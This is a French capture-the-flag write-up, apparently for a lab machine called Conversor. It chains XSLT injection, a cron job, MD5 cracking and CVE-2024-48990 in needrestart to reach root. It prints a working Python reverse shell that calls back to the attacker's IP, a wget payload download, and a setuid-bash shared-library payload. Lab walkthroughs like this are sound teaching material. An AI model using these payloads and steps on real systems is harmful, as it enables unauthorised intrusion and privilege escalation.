Passer au contenu

Conversor

OSDifficultyTarget
LinuxEASY10.129.45.169

Reconnaissance

Nmap scan

Fenêtre du terminal
nmap -T4 10.129.45.169
Fenêtre du terminal
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Enumération web

Ajout au fichier hosts:

Fenêtre du terminal
echo "10.129.45.169 conversor.htb" >> /etc/hosts

L’application est un convertisseur XML/XSLT vers HTML. Le code source est disponible en téléchargement sur la page “About”.


Analyse du code source

L’application est en Python Flask (app.py):

app.secret_key = '**REDACTED**'
@app.route('/convert', methods=['POST'])
def convert():
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
# XML parser sécurisé
parser = etree.XMLParser(resolve_entities=False, no_network=True,
dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
# XSLT parser SANS restrictions!
xslt_tree = etree.parse(xslt_path) # <-- VULNERABLE
transform = etree.XSLT(xslt_tree)

Vulnérabilité: Le parser XSLT n’a aucune restriction de sécurité, permettant l’utilisation d’extensions EXSLT.

Tâche cron (install.md)

Fenêtre du terminal
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Une tâche cron exécute tous les fichiers .py dans /var/www/conversor.htb/scripts/ chaque minute.


Exploitation

Injection XSLT via EXSLT document write

On peut utiliser exsl:document pour écrire des fichiers sur le système.

exploit.xslt:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/conversor.htb/scripts/revshell.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.197",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
</exsl:document>
<result>File write attempted!</result>
</xsl:template>
</xsl:stylesheet>

xml.xml:

<?xml version="1.0"?>
<root>test</root>

Exécution

  1. Lancer le listener:
Fenêtre du terminal
nc -lvnp 4444
  1. Upload les fichiers via le site web

  2. Attendre ~1 minute (tâche cron)

  3. Shell obtenu en tant que www-data


Elévation de privilèges : www-data vers fismathack

Dump de la base SQLite

Fenêtre du terminal
sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"
1|fismathack|<MD5_HASH>
5|tely|<MD5_HASH>

Cassage du hash MD5

Fenêtre du terminal
john --format=raw-md5 --wordlist=rockyou.txt hash.txt

Résultat: fismathack:**REDACTED**

SSH

Fenêtre du terminal
# Password: **REDACTED**
cat ~/user.txt

Elévation de privilèges : fismathack vers root

Enumération sudo

Fenêtre du terminal
sudo -l
Fenêtre du terminal
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart

CVE-2024-48990 - needrestart < 3.8

Fenêtre du terminal
needrestart --version
# needrestart 3.7

La version 3.7 est vulnérable à CVE-2024-48990: un attaquant peut exécuter du code arbitraire en root via PYTHONPATH hijacking.

Exploitation

  1. Compiler le payload (sur machine attaquante):
rootshell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
if (geteuid() == 0) {
system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}
}
Fenêtre du terminal
# Cross-compile pour Linux x86_64
docker run --rm --platform linux/amd64 -v /tmp:/tmp gcc:latest \
gcc -shared -fPIC -o /tmp/rootshell.so /tmp/rootshell.c
  1. Transférer sur la cible:
Fenêtre du terminal
# Attaquant
python3 -m http.server 8080
# Cible
mkdir -p /tmp/malicious/importlib
wget http://10.10.14.197:8080/rootshell.so -O /tmp/malicious/importlib/__init__.so
  1. Lancer le bait process:
Fenêtre du terminal
echo 'import time; time.sleep(3600)' > /tmp/bait.py
PYTHONPATH=/tmp/malicious python3 /tmp/bait.py &
  1. Trigger needrestart:
Fenêtre du terminal
sudo /usr/sbin/needrestart -r a
  1. Root shell:
Fenêtre du terminal
/tmp/rootbash -p
cat /root/root.txt

Résumé de l’attaque

┌─────────────────┐ XSLT Injection ┌─────────────────┐
│ Attaquant │ ──────────────────────► │ www-data │
│ │ exsl:document │ │
└─────────────────┘ + cron job └────────┬────────┘
SQLite dump
MD5 crack
┌─────────────────┐
│ fismathack │
│ (user flag) │
└────────┬────────┘
CVE-2024-48990
needrestart
┌─────────────────┐
│ root │
│ (root flag) │
└─────────────────┘

Outils utilisés

  • nmap
  • curl
  • nc (netcat)
  • sqlite3
  • john
  • gcc (cross-compilation)
  • sshpass

Références